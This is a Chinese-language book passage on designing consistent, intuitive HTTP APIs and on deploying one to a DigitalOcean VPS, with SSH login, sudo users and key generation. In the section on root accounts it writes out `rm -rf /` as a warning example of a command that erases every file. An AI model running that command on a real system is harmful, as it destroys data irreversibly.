如果一个 API 与世界不一致,它将迫使开发者学习一种新的思维方式。这可能需要大量的时间投入,这可能会阻止用户首先尝试使用 API。因此,拥有共同的共识可能会提高开发者的体验,甚至可能提高 API 的采用率。
对于 HTTP API,显然应该采用 HTTP/1.1 规范。这是一个由万维网联盟(W3C)批准的标准,它是万维网的权威国际标准组织。那么,让我们看看我们如何设计我们的 API 以符合这个标准。
发送正确的 HTTP 状态码
HTTP 规范规定,任何响应都必须有一个三位数的状态码,允许程序确定响应的性质。这些代码允许程序有效地处理响应:
状态码 | 响应类别 | 描述 |
---|---|---|
1xx |
信息性 | 请求已接收但尚未完全处理。客户端不需要做任何事情。 |
2xx |
成功 | 请求已成功接收、理解并被接受。 |
3xx |
重定向 | 资源已移动,无论是临时还是永久。客户端需要采取进一步的操作来完成请求。 |
4xx |
客户端错误 | 请求在语法和/或语义上不正确,服务器无法(或拒绝)处理它。 |
5xx |
服务器错误 | 请求可能是有效的,但服务器出现了错误。 |
您可以在 W3C 的httpstatuses.com找到原始的状态码定义。当前有效的 HTTP 状态码列表由互联网数字分配机构(IANA)维护;您可以在iana.org/assignments/http-status-codes找到完整的列表。我个人使用httpstatuses.com,对我来说它更易于阅读。
我们已经遵循了这些标准来处理我们的创建用户端点。例如,当请求有效负载不是 JSON 时,我们响应415 不支持的媒体类型
错误状态码;如果客户端尝试访问未实现的端点,Express 将自动响应404 未找到
错误。
根据 IANA,目前有 62 个分配的 HTTP 状态码。大多数开发者无法记住所有 62 个。因此,许多 API 限制了它们发送回的状态码数量。我们将这样做,并将我们的 API 限制在仅使用以下九个状态码:
-
200 OK
:通用的成功操作。 -
201 已创建
:成功操作,创建了一个资源,如用户。 -
400 错误请求
:当请求在语法或语义上不正确时。 -
401 未授权
:当请求缺少认证凭据,服务器无法确定发送请求者时。客户端应带有这些凭据重新发送请求。 -
403 禁止
:服务器理解请求但未授权。 -
404 未找到
:资源未找到,或端点路径无效。 -
409 冲突
:客户端上次检索资源后,资源已被修改。客户端应请求资源的新版本,并决定是否再次发送请求。 -
415 不支持的媒体类型
:此端点的有效负载格式不受支持,例如,当服务器只接受 JSON 时发送 XML 有效负载。 -
500 内部服务器错误
:请求可能是有效的,但服务器出现了错误。
使用 HTTP 方法
HTTP 规范还规定,HTTP 请求必须包含一个动词,并规定了哪些动词可以用于哪些类型的请求:
-
GET
:请求检索资源。 -
POST
:服务器决定如何处理数据的请求。URL 指定要处理此请求的资源。 -
PUT
:请求在指定的 URL 下存储实体。 -
PATCH
:请求对现有资源进行部分更改。 -
DELETE
:请求删除资源。 -
HEAD
:请求资源的元数据。 -
OPTIONS
:请求服务器有关允许哪些请求的信息。
此外,GET
、HEAD
、OPTIONS
和 TRACE
被认为是安全方法,这意味着它们不得修改任何资源的表示。其他动词,如 POST
、PUT
和 DELETE
,预期会修改资源,应被视为不安全方法。
此外,还有一个相关的概念是幂等性。幂等的 HTTP 方法是可以重复多次但仍会产生与只发送单个请求相同的结果的 HTTP 方法。例如,DELETE
是一个幂等方法,因为多次删除资源的效果与只删除一次相同。所有安全方法也都是幂等的:
方法 | 安全 | 幂等 |
---|---|---|
CONNECT |
✗ | ✗ |
DELETE |
✗ | ✓ |
GET |
✓ | ✓ |
HEAD |
✓ | ✓ |
OPTIONS |
✓ | ✓ |
POST |
✗ | ✗ |
PUT |
✗ | ✓ |
PATCH |
✗ | ✗ |
TRACE |
✓ | ✓ |
即使我们遵守 HTTP 规范,更新资源仍有多种方式:使用 POST
、PUT
或 PATCH
。因此,当对标准的解释存在歧义时,我们应该转向社区共识。
我们将使用由伦敦的数字产品工作室 Elsewhen 发布的一系列项目指南。它在 GitHub 上有超过 17,500 个星标,可通过 github.com/elsewhencode/project-guidelines 访问。
这里重现了指南中关于 HTTP 方法的部分:
-
GET
:检索资源的表示。 -
POST
:创建新资源和子资源。 -
PUT
:更新现有资源。 -
PATCH
:对现有资源进行部分更改的请求。它只更新提供的字段,其他字段保持不变。 -
DELETE
:删除现有资源。
因此,尽管我们可以通过发送 POST
请求来更新资源,但我们只将 POST
请求限制在资源的创建上。
遵循指南,我们还将使用 /<collection>/<id>
结构来构建我们的 API 路径,其中 <collection>
是资源类别(例如,用户、产品或文章),而 <id>
是该集合中特定资源的标识符(例如,特定用户)。
我们将使用复数名词来命名我们的集合,以使 URL 更一致且易于阅读。换句话说,我们将使用 /users
和 /users/<id>
,而不是 /user
和 /user/<id>
。
将所有这些放在一起,我们得到以下表格,其中详细说明了针对每个资源应执行的操作和 HTTP 方法。
资源 | GET |
POST |
PUT |
PATCH |
DELETE |
---|---|---|---|---|---|
/users |
获取用户列表 | 创建新用户 | 错误 | 错误 | 错误 |
/users/<id> |
获取用户 | 错误 | 更新用户对象(完全);如果用户不存在则错误 | 更新用户对象(部分);如果用户不存在则错误 | 删除用户对象;如果用户不存在则错误 |
使用 ISO 格式
对于诸如单位之类的项目,我们应尽可能使用国际标准化组织(ISO)提供的格式:
-
日期/时间: 使用 UNIX 时间戳(以毫秒为单位)表示时间,以及 ISO 8601 完整日期格式表示日期(iso.org/iso-8601-date-and-time-format.html)
-
货币: ISO 4217 货币代码(iso.org/iso-4217-currency-codes.html)
-
国家: 可以是 ISO 3166-1 alpha-2、ISO 3166-1 alpha-3 或 ISO 3166-1 数字代码(iso.org/iso-3166-country-codes.html)
-
语言: ISO 639-2 代码(iso.org/iso-639-language-codes.html)
本地一致性
本地一致性意味着在同一 API 内部保持一致性。换句话说,如果一个开发者已经与你的 API 的一部分(例如,创建用户)合作过,他/她应该能够使用相同的约定来处理 API 的其他部分。
命名约定
例如,我们应该遵循一致的命名约定来命名所有我们的 URL。具体来说,我们将执行以下操作:
-
使用短横线命名法(kebab-case)为 URL 命名
-
在查询字符串中的参数使用驼峰命名法(camelCase),例如,
/users/12?fields=name,coverImage,avatar
-
对于嵌套资源,应按如下结构组织:
/resource/id/sub-resource/id
,例如,/users/21/article/583
对于我们的非 CRUD 端点,URL 命名约定应遵循/动词-名词
结构:我们应该使用/search-articles
而不是/articles-search
。
一致的数据交换格式
这听起来可能很明显,但我们应该使用纯文本或JavaScript 对象表示法(JSON)作为数据交换的格式。你不应该在一个端点使用 JSON,而在另一个端点使用 XML,例如。
错误响应负载
错误响应负载应遵循一致的格式。例如,负载应是一个包含错误对象的 JSON 对象数组,每个对象包含三个字段:
-
code
: 一个数字错误代码,供程序使用 -
message
: 错误的简短、可读性强的摘要 -
description
: 错误的可选更详细描述
每个错误负载都必须遵循此格式。这允许开发者编写一个可以处理所有错误消息的单个函数。
交叉一致性
交叉一致性是指在同一组织内的不同 API 之间保持一致性。原因与本地一致性类似。
域一致性
领域一致性是指与特定领域保持一致。
例如,如果你正在开发一个科学出版物目录,你应该进行一些研究以获取特定于这个领域的知识和规范。例如,你应该知道科学出版物可能被识别为PubMed 标识符(PMID)、PMCID、稿件 ID 或数字对象标识符(DOI),因此你的 API 响应对象应包含包含这些不同标识符的字段,或者至少允许用户根据这些 ID 搜索文章。这与科学领域的规范一致。
另一个例子是允许使用与领域一致的过滤器。继续以科学出版物目录为例,通常有几种科学出版物类别:原始/主要研究、评论、社论/观点、简报、临床案例研究、方法、荟萃分析、学位论文、会议记录等。允许用户根据这些类别进行筛选将是另一个领域一致性的例子。
长期一致性
最后,我创造了“perennial consistency”(长期一致性)这个术语,意味着与 API 的过去和未来保持一致。
我选择“perennial”(常年的)这个形容词而不是“perpetual”(永久的”或“persistent”(持续的”),因为“perpetual”意味着 API 将“永远”不会改变,这是不切实际的;“persistent”意味着即使有必要,开发者也应该固执地拒绝更改 API,这是不正确的;“perennial”意味着 API 结构应该长期保持不变,但不是永远不变。
要理解为什么长期一致性很重要,我们首先必须了解当我们对 API 引入破坏性(向后不兼容)更改时会发生什么。
API 中的破坏性更改
如果我们正在开发一个库并想引入破坏性更改,我们只需简单地增加主版本号并发布即可。开发者可以自由选择是否以及何时迁移。然而,对于 API 来说,这个过程并不那么简单,原因如下:
-
对于 API 的每个版本,API 提供者必须维护一个不同的服务实例。这可能会造成巨大的开销。
-
API 的不同版本仍将使用相同的数据集,因此你必须设计一个与所有版本兼容的数据结构。有时,这可能需要你在数据中包含冗余字段。
-
如果更改过于剧烈,开发者可能会继续使用旧版本,这可能会延长你必须支持旧 API 的期限。
破坏性更改对开发者体验也不好,原因如下:
-
在旧版本被淘汰之前,开发者通常被给予一个有限的时间段来更新他们的代码以符合新版本。
-
依赖于你的 API 的第三方库也必须更新它们的代码。但如果维护者缺乏时间或意愿进行迁移,可能会导致过时库的积累。
由于这些原因,应尽可能避免破坏性变更。当你设计 API 时,要注意不仅要考虑当前的需求,还要考虑任何可能的未来需求。
这并不与“你不需要它”(YAGNI)原则相矛盾。你不会去实现你可能不需要的功能。你只是在提前思考,以便可以提前规划。
为你的 URL 提供未来保障
实现永久一致性的一种方法是为你的 URL 设计未来保障。例如,如果我们正在构建一个社交网络,其中每个用户都必须属于一个组织,我们可以使用类似于/orgs/<org-id>/users/<user-id>
的 URL 结构来标识用户。但如果我们向前看,未来可能会有这样的时刻,我们的平台需要为属于多个组织的用户提供支持;在这种情况下,我们提出的 URL 结构将不支持这一点。
因此,我们应该设计我们的 URL,使其简单地包含用户的 ID(即,/users/<user-id>
)。然后,为了将用户与组织关联起来,我们可以实现成员资格的概念,并将成员资格 URL 的结构设计为/orgs/<org-id>/members/<member-id>
。
为你的数据结构提供未来保障
确保永久一致性的另一种方法是为你数据结构提供未来保障。例如,如果我们想存储用户的姓名,我们可以简单地指定一个类型为字符串的name
属性。这可能现在有效,但将来,我们可能想要区分名、中名和姓。我们甚至可能想要根据名或姓实现排序和过滤。进一步思考,许多人,尤其是来自亚洲国家的人,既有英文名也有非英文名,所以我们甚至可能希望允许用户用多种语言提供他们的姓名。将姓名属性作为字符串来结构化是不行的!
这就是为什么我们的用户模式指定了一个对象作为name
属性的数结构。这允许我们在不破坏现有代码的情况下向对象添加更多属性。例如,我们的配置文件对象最终可能会演变成如下所示:
{
name: {
first: "John",
middle: "Alan",
last: "Doe"
display: "John Doe",
nickname: "JD",
others: [{
lang: "zho",
name: ""
}]
}
}
版本控制
但如果无法避免破坏性的变更,那么我们必须遵守语义版本控制(semver)并增加 API 的主版本号。但版本数据存储在哪里呢?通常有两种方法:
-
在 URL 中(例如,
/v2/users
):这到目前为止最容易解释和实现,但从语义上讲是不正确的。这是因为 URL 应该用于定位资源;如果我们向 URL 中添加版本信息,那么这会暗示资源本身是版本化的,而不是 API。 -
作为
Accept
头的一部分(例如,Accept: application/vnd.hobnob.api.v2+json
):MIME 类型中的vnd
前缀表示这是一个供应商特定的 MIME 类型;在这里,我们用它来指定我们想要的 API 版本。+json
表示回复可以被解析为 JSON。这是最语义化的方法,但也需要更多的努力向最终用户解释。
URL 方法更为实用;Accept
头方法更为语义化。两者没有“更好”之分。选择对你和你的受众都有意义的方法。
在进行重大更改时,除了增加 API 版本号外,还确保你做了以下事情:
-
在可能的情况下,提供一段宽限期,即降级期,在此期间,旧版和新版同时运行,以便开发者有时间迁移到新版本。
-
提前提供降级警告,包括旧 API 版本将不再支持的确切日期以及它将完全不可用的日期
-
提供所有重大更改的清晰列表
-
提供如何迁移到新版本的清晰说明
直观
当我们与日常物品互动时,我们对它们的工作方式有一个预期。这在设计中被称为“可用性”。例如,如果你看到一个门把手,你应该本能地知道你应该拉门把手;相反,一个平面的长方形金属片(称为“指板”)固定在门上意味着它应该被推:
(左)在门的一侧添加一个用于推的门把手是设计不良的例子,因为门把手是用于拉的,而不是推的。(右)门把手已经暗示了门是用于拉的,所以这里的“拉”标签是不必要的。此图片来自chriselyea.com/wp-content/uploads/2010/01/PushPullDoors.jpg
(已失效链接)。
这种可用性的概念适用于所有设计,包括 API 设计。同样,API 应该是自我解释的,尽可能明显。
用户不想学习新的行为。用户不想阅读文档来使用你的平台。最佳情况是,你的 API 如此直观,以至于他们只需要偶尔查阅文档。
另一方面,如果你的 API 不够直观,用户可能仍然会尝试使用它,但他们可能会觉得学习曲线太高,转而使用其他平台。
这也涉及到之前提到的关于一致性的观点:如果它通常是连贯的,那么用户在使用你的 API 时会感到更加熟悉。
直观仅仅意味着使事物明显。我们应该遵循最小惊讶原则(POLA),该原则指出:“执行某些操作的结果应该是显而易见、一致和可预测的,基于操作名称和其他线索。”
在这里,我们概述了一些我们可以做的事情,以确保我们的 API 尽可能直观。
适合人类的 URL
相关端点应分组。例如,Instagram API 将端点分组为用户、媒体、标签和位置相关的端点,每个端点都在api.instagram.com/v1/{group}/
下。
这使得端点的消费者能够立即推断出端点的预期功能,而无需查阅文档。端点的功能应该对消费者显而易见。
例如,/users/:user-id/media/recent
这个端点很明显是用来检索用户最近媒体对象的。
倾向于详尽和明确
当有疑问时,始终倾向于详尽和明确而不是隐晦,因为这可以消除 API 中的歧义。例如,使用userId
而不是uid
,有些人可能会将其解释为“唯一 ID”。
简单至上(KISS)
最后但同样重要的是,一个好的 API 必须是简单的。
拥有一个 API 的主要原因是将实现细节从最终用户抽象出来。您不应该向最终用户公开内部函数,因为这会给您的 API 增加不必要的复杂性——用户将需要阅读更多的文档,即使其中 90%与他们想要做的事情无关。
规则是考虑最小的一组可以公开的功能,但仍然允许典型用户执行所有必要的功能。例如,当新用户注册时,会自动为他们创建一个个人资料,因此没有必要将内部createProfile
函数作为/POST profile
端点公开,因为典型用户永远不会调用它。
“当有疑问时,就把它留在外面”是一个值得记住的格言;通常向 API 添加功能比移除一些开发者(尽管比例很小)已经使用的功能要容易。
一个蹒跚学步的孩子如果没得到他们没要求的玩具不会哭,但如果你试图拿走他们正在玩的玩具,你可能会发现你的耳朵会嗡嗡响一段时间。
完成我们的 API
在前面的章节中,我们向您展示了如何在 TDD 过程中编写单元、集成和端到端测试。在本章中,我们概述了在设计 API 时应考虑的因素。现在,我们将接力棒传给您,以实现 API 的其余部分。具体来说,您应该实现以下要求:
-
删除
- 用户必须提供一个用户 ID 以进行删除
-
搜索
- 默认为最后注册的 10 个用户
-
创建
-
用户必须提供一个电子邮件地址和密码
-
用户可以选择提供个人资料;否则,将为他们创建一个空的个人资料
-
-
检索
- 当用户提供一个其他用户的用户 ID 时,应返回该用户的个人资料
-
更新
-
当用户提供一个用户 ID 和完整的用户对象时,我们应该用新的用户对象替换旧的用户对象
-
当用户提供一个用户 ID 和部分用户对象时,我们应该将部分对象合并到现有对象中
-
记得也要遵循我们现有的约定:
-
所有请求数据必须以 JSON 格式传输
-
所有响应数据负载必须以 JSON 格式或纯文本格式
摘要
在本章中,我们探讨了如何设计和构建我们的 API,使其对最终用户来说保持一致性、直观性和简单性。然后,我们将这些原则留给你,在你实现 CRUD 和搜索端点时应用。在下一章中,我们将学习如何将我们的 API 部署到云服务器上,使其对全世界都可用!
第十章:在 VPS 上部署我们的应用程序
在最后几章中,我们创建了一个健壮的用户目录 API,现在它已经准备好面对外部世界。因此,在本章中,我们将学习如何将我们的 API 暴露给万维网(WWW)。首先,我们需要设置一个虚拟专用服务器(VPS)来托管和提供我们的 API,并将其与一个公共的、静态 IP 地址关联;我们将使用流行的云服务提供商DigitalOcean(DO)来实现这两个目标。然后,为了使 API 消费者更容易使用,我们将从一个域名注册商购买一个域名,并配置其域名系统(DNS)记录以解析域名到静态 IP 地址。
通过遵循本章内容,您将:
-
学习如何设置和保障虚拟专用服务器(VPS)
-
了解特权端口
-
使用PM2保持进程活跃
-
将NGINX配置为我们的 API 的反向代理
-
理解 DNS 的架构
-
购买和配置域名
获取 IP 地址
互联网是一个由相互连接的机器组成的巨大网络。为了这些机器能够相互通信,每台机器都必须有一个唯一的标识符。互联网使用TCP/IP 协议进行通信,该协议反过来使用IP 地址作为其唯一的标识符。因此,将我们的 API 暴露给互联网的第一个要求是拥有一个 IP 地址。
如果您在家支付互联网费用,您也将获得由您的互联网服务提供商(ISP)提供的 IP 地址。您可以通过使用外部服务(如 ipinfo.io)来检查您的 IP 地址:
$ curl ipinfo.io/ip
146.179.207.221
这意味着理论上您可以使用您的家用电脑,甚至笔记本电脑来托管您的 API。然而,这样做存在以下问题:
-
大多数消费级互联网套餐提供动态 IP 地址,而不是静态的,这意味着您的 IP 地址可能每隔几天就会改变
-
许多互联网服务提供商(ISP)阻止端口
80
的入站流量,这是默认的 HTTP 端口 -
您需要维护自己的硬件
-
互联网连接速度可能较慢
管理 DNS
第一个问题可以通过使用管理 DNS服务(如No-IP (noip.com) 和 Dyn (dyn.com))来解决,这些服务提供动态 DNS服务。这些服务将为您提供主机名(例如,username.no-ip.info
)并更新主机名的 DNS A 记录以指向您的机器的 IP 地址(关于 DNS 记录的更多内容将在后面介绍)。这意味着任何针对该主机名的请求都将到达您关联的设备。为了使这生效,您还必须在您的设备上安装一个客户端,该客户端会频繁检查其自身的 IP 地址,并在 IP 地址更改时更新管理 DNS 服务。
第二个问题可以通过使用 端口重定向 来缓解,这是一种大多数托管 DNS 服务也提供的服务。首先,就像之前一样,您必须下载客户端来更新托管 DNS 服务并使用您的动态 IP。然后,将您的应用程序绑定到机器上的一个端口,该端口不会被您的 ISP 封锁。最后,您需要前往托管 DNS 服务并将到达主机名的所有流量重定向到您的设备指定的端口。
动态 DNS 只简单地更改 DNS 记录;实际上没有任何应用程序流量到达托管 DNS 服务器。另一方面,使用端口重定向时,托管 DNS 服务充当一个代理,将 HTTP 数据包重定向。如果您想尝试它们,No-IP 提供了免费的动态 DNS 服务,您可以在 noip.com/free 上注册。
虽然对于个人使用来说,使用动态 IP 和动态 DNS 可以接受,但它远不足以可靠地用于企业。您的 IP 地址可以随时更改,这可能导致连接中断和数据丢失。在 IP 地址更新和托管 DNS 提供商意识到这一变化之间,也会存在一定的延迟,因此您永远无法实现 100% 的正常运行时间。
自行托管服务器的企业通常需要向他们的 ISP 支付静态 IP 和增强的连接速度费用。然而,这可能是昂贵的。以美国最受欢迎和最受喜爱的宽带提供商康卡斯特为例:他们最基础的消费级产品 XFINITY 性能互联网支持高达 60 Mbps 的下载速度,每月费用为 $39.99。然而,为了康卡斯特为您分配静态 IP,您必须订阅他们的企业级计划。最基础的计划——入门级互联网——支持高达 25 Mbps 的速度,每月费用为 $69.95,如果您想包括静态 IP,则为 $89.90。这显然不是性价比高的选择。
一个更好的选择是注册一个云服务提供商的账户,并在 VPS 上部署我们的应用程序。VPS 实质上是一个连接到互联网的 虚拟机 (VM),并分配了自己的静态 IP 地址。在成本方面,VPS 的价格可以低至每月 $0.996!
您可以在 lowendbox.com 找到一系列便宜的 VPS 托管提供商。
设置虚拟专用服务器 (VPS)
有许多 VPS 提供商,例如以下这些:
-
亚马逊弹性计算云 (Amazon EC2):aws.amazon.com/ec2
-
国际商业机器公司虚拟服务器:ibm.com/cloud/virtual-servers
-
谷歌云计算引擎:cloud.google.com/compute
-
微软 Azure 虚拟机:azure.microsoft.com/services/virtual-machines
-
Rackspace 虚拟云服务器:rackspace.com/cloud/servers
-
Linode:linode.com
对于这本书,我们将使用DigitalOcean(DO,digitalocean.com)。我们选择 DO 是因为它有一个非常直观的用户界面(UI),在这里可以管理所有内容(VPS、DNS、块存储、监控、Kubernetes),所有这些都可以在同一个仪表板上完成。这与 AWS 不同,AWS 的用户界面过时且繁琐。
现在,前往 DO 网站 (digitalocean.com) 并创建一个账户。
你应该使用这个推荐链接:m.do.co/c/5cc901594b32;这将为你提供 10 美元的免费信用额度!
DO 将会要求你提供账单详情,但直到你使用他们的服务之前,你不会产生费用。你还应该在你的账户上设置双因素认证(2FA)以保持账户安全。
创建 VPS 实例
在你成功创建账户后,登录到 cloud.digitalocean.com,点击显示创建的下拉按钮,然后选择 Droplet。
在 DO 术语中,droplet 与 VPS 相同。
选择镜像
你将看到一个屏幕,我们可以配置 VPS。屏幕上的第一个部分是“选择镜像”,这是我们选择 VPS 要运行的 Linux 发行版的地方。我们将为我们的 VPS 选择 Ubuntu 18.04 x64 选项。
我们选择 18.04 是因为它是一个长期支持(LTS)版本,这意味着它将在五年内接收硬件和维护更新,而标准的 Ubuntu 发布版仅支持九个月。这对于企业级服务来说很重要,因为它确保任何安全漏洞或性能更新都优先于其他标准发布版:
此图是从 Ubuntu 网站上的 Ubuntu 生命周期和发布周期页面复制的(ubuntu.com/about/release-cycle)
选择大小
接下来,我们必须选择我们的 VPS 的大小。这决定了我们可用的资源量(CPU、内存、存储和带宽)。
Elasticsearch 非常占用内存,他们的官方指南建议使用具有 16-64 GB 内存的服务器。然而,这非常昂贵。对于这本书,选择至少具有 4 GB RAM 的 VPS 应该足够了。
我们可以忽略备份和块存储选项。
块存储是与我们的 VPS 关联的额外磁盘空间。例如,如果我们托管文件服务器或 Image API,我们可能希望添加额外的磁盘空间来存储这些文件/图片;购买纯磁盘空间比运行带有操作系统的 VPS 更便宜。
选择数据中心区域
接下来,我们必须选择我们的 VPS 将驻留的数据中心。
互联网上的不同机器通过相互发送消息进行通信。一条消息必须在到达接收者机器之前“跳跃”通过一系列代理服务器,这需要时间。一般来说,消息必须进行的跳跃越多,延迟越长。
因此,您应该选择离您的目标用户最近的数据中心。例如,如果您的目标受众主要基于英国,那么您会选择伦敦数据中心。
选择附加选项
接下来,选择以下附加选项:
-
私有网络:这为每个 VPS 实例提供了一个内部 IP 地址,允许同一数据中心部署的服务相互通信。在撰写本文时,此选项是免费的,并且不计入您的月度带宽配额。
-
IPv6:IPv4 可以支持高达 4,294,967,296 个唯一的 IP 地址。互联网的增长如此之快,以至于我们接近了这一限制。因此,IPv6 将 IP 地址的位数从 32 位增加到 128 位,产生了 340,282,366,920,938,463,463,374,607,431,768,211,456 个地址。通过选择此选项,我们允许用户使用 IPv6 地址来定位我们的服务器。
-
监控:收集服务器上的系统指标,如 CPU、内存、磁盘 I/O、磁盘使用率、公共/私有带宽,并在服务器运行接近限制时发出警报:
命名您的服务器
最后,为您的服务器选择一个主机名。这将在 DigitalOcean 的管理面板中显示,因此请选择一个您容易记住的名称。
当您有大量机器时,设置一个命名约定可能值得考虑,其中机器的名称本身传达了有关其用途的信息。例如,您的命名约定可能如下所示:
[environment].[feature].[function][replica]
例如,如果我们有一台机器在预发布环境中作为授权服务的负载均衡器,其主机名可能为 staging.auth.lb1
。
这在您使用终端登录多个服务器时非常有用——它们看起来都一样!您确定正在操作哪台机器的唯一方法是通过查看提示中打印的主机名:
hobnob@staging.auth.lb1:~$
如果您只为个人使用设置服务器,请随意发挥创意命名。流行的惯例包括使用行星、周期性元素、动物和汽车型号的名称。我个人会根据细胞中不同的组成部分来命名我的机器:细胞核、核仁、囊泡、细胞质、溶酶体和核糖体。
另一篇值得阅读的文章是 为您的计算机命名 (ietf.org/rfc/rfc1178)。
目前,因为我们只有一台机器,让我们指定一个简单的名称,hobnob
,然后点击创建!
连接到 VPS
点击创建后,DigitalOcean 将为您配置一个新的 VPS。您还将收到一封包含登录说明的电子邮件:
From: DigitalOcean <support@support.digitalocean.com>
Subject: Your New Droplet: hobnob
Your new Droplet is all set to go! You can access it using the following credentials:
Droplet Name: hobnob
IP Address: 142.93.241.63
Username: root
Password: 58c4abae102ec3242ddbb26372
Happy Coding,
Team DigitalOcean
使用这些凭证,通过 SSH 以root
管理员用户连接到您的服务器:
$ ssh root@<server-ip>
在这里,<server-ip>
是您服务器的 IP 地址(在我们的示例中为142.93.241.63
)。这将提示您输入密码;输入您在电子邮件中收到的密码。登录后,服务器将要求您更改 root 密码:
$ ssh root@142.93.241.63
The authenticity of host '142.93.241.63 (142.93.241.63)' can't be established.
ECDSA key fingerprint is SHA256:AJ0iVdifdlEOQNYvvhwZc0TAsi96JtWJanaRoW29vxM.
Are you sure you want to continue connecting (yes/no)? yes
root@142.93.241.63's password: 58c4abae102ec3242ddbb26372
You are required to change your password immediately (root enforced)
...
Changing password for root.
(current) UNIX password: 58c4abae102ec3242ddbb26372
Enter new UNIX password: <your-new-password>
Retype new UNIX password: <your-new-password>
root@hobnob:#
太好了!您已成功创建虚拟服务器并登录到其中。
对于本章中的代码块,我们将在任何旨在在远程虚拟服务器上运行的命令之前添加<user>@hobnob:
提示,对于应在本地运行的命令,我们将使用正常的提示$
。
设置用户账户
目前,我们是以root
身份登录的,这是具有所有权限的机器的管理用户。这意味着root
用户可以执行危险的操作,例如使用rm -rf /
删除系统中的所有文件。如果恶意用户获得了您的root
账户访问权限,或者您不小心发出了错误的命令,那么就无法回头了;大多数这些操作都是不可逆的。
因此,为了保护我们的服务器免受恶意行为和人为错误的侵害,建议不要在日常使用中频繁使用root
。相反,我们应该设置一个具有降低权限的账户,并且只有在需要时(例如,安装系统级软件时)才使用 root 权限。
创建新用户
首先,我们必须创建一个新用户。在仍然以root
身份登录的情况下,运行adduser <username>
,将<username>
替换为您的用户名(我们将使用hobnob
作为用户名)。这将启动一个向导,要求您提供有关用户的信息,并输入密码。之后,将创建一个名为hobnob
的新用户,其主目录位于/home/hobnob
:
root@hobnob:# adduser hobnob
Adding user `hobnob' ...
Adding new group `hobnob' (1000) ...
Adding new user `hobnob' (1000) with group `hobnob' ...
Creating home directory `/home/hobnob' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: <your-password>
Retype new UNIX password: <your-password>
passwd: password updated successfully
Changing the user information for hobnob
Enter the new value, or press ENTER for the default
Full Name []: Daniel Li
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
现在我们有一个具有降低权限的用户,我们可以使用它来执行日常命令。尝试使用不同的终端,使用您新用户的用户名和密码登录:
$ ssh hobnob@142.93.241.63
hobnob@142.93.241.63's password: <your-hobnob-user-password>
hobnob@hobnob:$
太好了!我们已经创建了一个具有降低权限的用户账户,并且能够使用这个新账户访问服务器。但是,由于权限有限,我们甚至无法执行简单的管理任务。尝试通过运行 apt update
来更新软件包列表;这将产生一个错误,显示 Permission denied
,因为这个操作需要 root 权限:
hobnob@hobnob:$ apt update
Reading package lists... Done
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/
W: Problem unlinking the file /var/cache/apt/pkgcache.bin - RemoveCaches (13: Permission denied)
W: Problem unlinking the file /var/cache/apt/srcpkgcache.bin - RemoveCaches (13: Permission denied)
然而,如果我们用我们的root
用户运行相同的命令,它将成功执行:
root@hobnob:# apt update
Hit:1 https://repos.sonar.digitalocean.com/apt main InRelease
...
Hit:5 http://nyc2.mirrors.digitalocean.com/ubuntu bionic-backports InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
将用户添加到 sudo 组
如果我们打算在日常使用中经常使用hobnob
账户,每次想要安装东西时都需要切换到root
账户将会很烦人。幸运的是,在 Linux 中,可以为每个用户以及命名的用户组分配权限。Linux 提供了一个sudo
组,允许该组内的用户通过在命令前加上sudo
关键字并输入他们的密码来运行需要root
权限的命令。因此,我们应该将我们的hobnob
用户账户添加到sudo
组中。
在仍然以 root
身份登录的情况下,运行以下命令:
root@hobnob:# usermod -aG sudo hobnob
-G
选项指定我们将用户添加到的组,而 -a
标志会将用户添加到该组中,而不会从其他组中删除他们。
现在,尝试以 hobnob
账户运行 sudo apt update
;它将提示您输入密码,然后它将像 root
用户一样执行该命令!
设置公钥认证
到目前为止,我们一直使用基于密码的认证来访问我们的服务器;这既麻烦又不安全,因为恶意方只需猜测您的密码即可访问您的服务器。最好使用公钥认证,它有以下好处:
-
不可猜测:密码往往有几种常见的模式(例如,
abcd1234
或password
),而 SSH 密钥看起来像是乱码,难以暴力破解 -
可管理性:
ssh-agent
是一个程序,它可以保存私钥,这样您就不必记住密码
检查现有的 SSH 密钥
首先,检查您是否已经在本地机器上设置了 SSH 密钥对。通常,SSH 密钥存储在您家目录下的 .ssh
目录中:
$ cd ~/.ssh/ && ls -ahl
total 116K
drwx------ 2 dli dli 4.0K Jul 10 10:39 .
drwxr-xr-x 94 dli dli 16K Sep 12 18:59 ..
-rw-r--r-- 1 dli dli 151 Mar 6 2018 config
-rw------- 1 dli dli 3.2K Oct 2 2017 id_rsa
-rw-r--r-- 1 dli dli 740 Oct 2 2017 id_rsa.pub
-rw-r--r-- 1 dli dli 80K Sep 12 19:08 known_hosts
如果您看到类似以下内容的输出,则您已经有一个 SSH 密钥,可以跳到 将 SSH 密钥添加到远程服务器 部分;否则,继续创建 SSH 密钥。
密钥基本上是一个非常长、随机的字符串,它代替了您的密码。当您将密钥与服务器关联时,您可以使用该密钥对该服务器进行身份验证。因此,您可能有多个密钥,每个密钥都与不同的服务器关联。
这也意味着即使您已经有了密钥,您也可以为这次练习创建一个新的密钥。但通常,大多数开发者为每台开发机器有一个密钥。
创建 SSH 密钥
我们将使用名为 ssh-keygen
的程序来生成我们的 SSH 密钥。运行以下命令:
$ ssh-keygen -t rsa -b 4096 -C <your-email-address>
在这里,我们向 ssh-keygen
传递了一些参数,指示它使用 Rivest-Shamir-Adleman(RSA)加密算法生成长度为 4,096 位的密钥对。默认情况下,ssh-keygen
使用 2,048 位的密钥长度,这应该足够了,但既然 4,096 位更难暴力破解,为什么不享受那一点额外的安全性呢?
可以使用许多算法来生成密钥对。ssh-keygen
接受 DSA、RSA、Ed25519 和 ECDSA。
DSA 是一种过时的算法,已被 RSA 取代,不应使用。Ed25519 和 椭圆曲线数字签名算法(ECDSA)是新一代的加密算法,依赖于某些非常特定的椭圆曲线的数学性质。它们可能最终会取代 RSA,因为它们可以提供相同级别的安全性,但密钥更短。
您可以通过运行 ssh-keygen -t ecdsa -b 521
(注意 521
不是一个打字错误)来使用 ECDSA 替代 RSA,或者通过运行 ssh-keygen -t ed25519
来使用 Ed25519。
执行命令后,向导将询问您几个问题:
-
输入保存密钥的文件
:默认情况下,密钥将被保存在您家目录下的.ssh
目录下。 -
输入密码
/再次输入相同的密码
